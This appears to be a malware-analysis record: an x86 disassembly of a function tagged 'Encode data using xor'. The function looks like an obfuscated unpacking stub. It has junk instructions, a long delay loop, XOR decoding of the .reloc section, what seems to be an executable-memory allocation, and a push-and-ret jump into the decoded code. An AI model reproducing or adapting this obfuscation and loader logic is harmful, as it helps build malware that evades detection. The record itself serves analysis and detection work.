Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8adb8861
add edi, esi
mov esi, edi
sub edi, 0xceb49791
popal
add esi, 0x9dc7f0b3
mov esi, 0xeea3cd11
mov ebx, 0
mov edx, eax
mov ecx, edi
add ecx, 1
sub ecx, edi
mov esi, edx
dec edi
mov edi, 0x30f53fd0
mov eax, esi
add ecx, edi
not ecx
dec edi
inc ebx
sub edi, 1
and ecx, ecx
cmp ebx, 0x100913f
jne 0xa789cd
sub edi, 1
add edi, 1
sub edi, 1
or edi, esi
and esi, esi
add edi, 1
mov ecx, 0xa78796
mov edx, 0xe02f2ab4
mov eax, edx
mov esi, 0xa7898a
and edi, edx
mov edx, edi
add eax, eax
mov ebx, dword [ecx]
add eax, edx
or edx, edi
dec edx
and ebx, 0xff
dec eax
or eax, edx
add edi, 0xa91fbc7c
xor dword [esi], ebx
not edi
dec edi
inc esi
add eax, 0x5bb2ef08
inc edx
inc ecx
not eax
mov edi, eax
add eax, edi
cmp esi, entry0
jl 0xa78a30
add eax, edi
add edi, 0x94672135
add edi, 0x6f3ca266
not eax
mov edx, 0x48f364d3
sub ebx, 0x64aee04c
add edi, 0x911c1fa7
mov esi, edi
mov ecx, 0xa7898e
add esi, esi
add edx, 1
mov ecx, dword [ecx]
and edx, esi
sub edx, 0x56f23faa
sub edx, 0x982b8dca
mov ecx, dword [ecx]
inc edx
dec edi
sub edi, 0xedc877a0
push ecx
inc ebx
dec esi
sub esi, 0xd8d2ff1
mov ecx, 0xa7898a
mov edx, esi
not ebx
mov ecx, dword [ecx]
not edi
mov edi, edx
mov ecx, dword [ecx]
add esi, ebx
and ebx, edi
sub esp, 4
mov dword [esp], 0xa78992
add edx, edi
dec edx
inc ebx
call ecx
sub ebx, edx
sub edx, edi
mov edx, esi
mov ecx, dword [esp]
add esp, 4
not edx
add esi, 0x4d0774ff
add edx, 0xfb36aaa7
push 0xa7899f
sub ebx, 0xc8436994
or esi, edi
sub esp, 4
mov dword [esp], eax
add esi, edi
add ebx, 0x46c0393b
call ecx
mov ebx, edi
not edx
push 0x40
and edx, edi
sub edi, 0x5818bf32
add esi, ebx
push 0x3000
mov esi, 0x445b358a
add ebx, 0x57b34383
sub esp, 4
mov dword [esp], 0x20000f16
mov ebx, 0x3dcb4ec0
add edx, edi
inc esi
push 0
mov ebx, esi
not esi
call eax
add edi, 0xdb311684
sub ebx, esi
sub edi, 0x42cbd1b5
add eax, 0x20000e91
sub ebx, 0x74cc7e5a
and ebx, edx
mov esi, 0xc0313152
mov ecx, 0x888c30f
or esi, edx
dec ebx
mov edx, esi
mov dword [eax], ecx
sub esi, 0x89b84d8e
and ebx, edx
or ebx, edi
mov ecx, dword [eax]
add ebx, 0x36087756
add esi, esi
cmp ecx, 0x888c30f
je 0xa78ba5
mov ebx, 0
mov al, byte [ebx]
sub edi, 0x76727915
not edx
add edx, esi
mov esi, edi
sub esi, 0xbe203570
dec edi
not edi
mov ebx, section..reloc
add edi, 1
sub esi, 1
add edi, edi
mov ecx, 0xa78795
dec esi
dec esi
mov edx, 0
mov esi, edi
inc esi
mov eax, 0xa78796
add edi, edi
not edi
and edi, edi
lea eax, [edx + eax]
sub esi, 0x7db8a07
add esi, 1
mov eax, dword [eax]
sub edi, esi
mov edi, esi
and eax, 0xff
sub edi, 0xd1c7fe9
inc edi
inc edx
or esi, edi
inc esi
and edi, esi
cmp edx, 0x1f4
jne 0xa78c1c
mov edx, 0
inc edi
sub edi, 0x478e63cd
not edi
sub esi, 0x1a7cca8e
add edi, 1
mov esi, 0xd0ee7696
xor dword [ebx], eax
or edi, esi
add edi, 0xf939b075
add ebx, 2
inc esi
mov esi, 0xfaa3c3ea
cmp ebx, ecx
jl 0xa78bdc
sub esi, 0x137e4a1d
sub esi, 0x3f62b69e
inc edi
mov esi, edi
mov edi, section..reloc
mov esi, 0x12d0aee4
dec esi
mov eax, section..reloc
sub esi, 0x5720ad4b
inc esi
sub esi, ecx
mov ebx, 0xa78795
dec ecx
add ecx, 0x7d479a32
dec esi
mov edx, 0
mov ecx, esi
add ecx, esi
or esi, esi
mov dl, byte [eax]
or ecx, esi
add esi, esi
mov byte [edi], dl
and ecx, esi
and ecx, esi
add edi, 1
sub esi, 0xd495b1a7
and esi, esi
add eax, 2
mov esi, ecx
not esi
cmp eax, ebx
jle 0xa78c94
sub esi, ecx
mov ecx, 0xa8bc8227
or esi, esi
mov esi, 0xf5c244d5
add edi, edi
push 0x8dc6a0
add esi, edi
add esi, edi
ret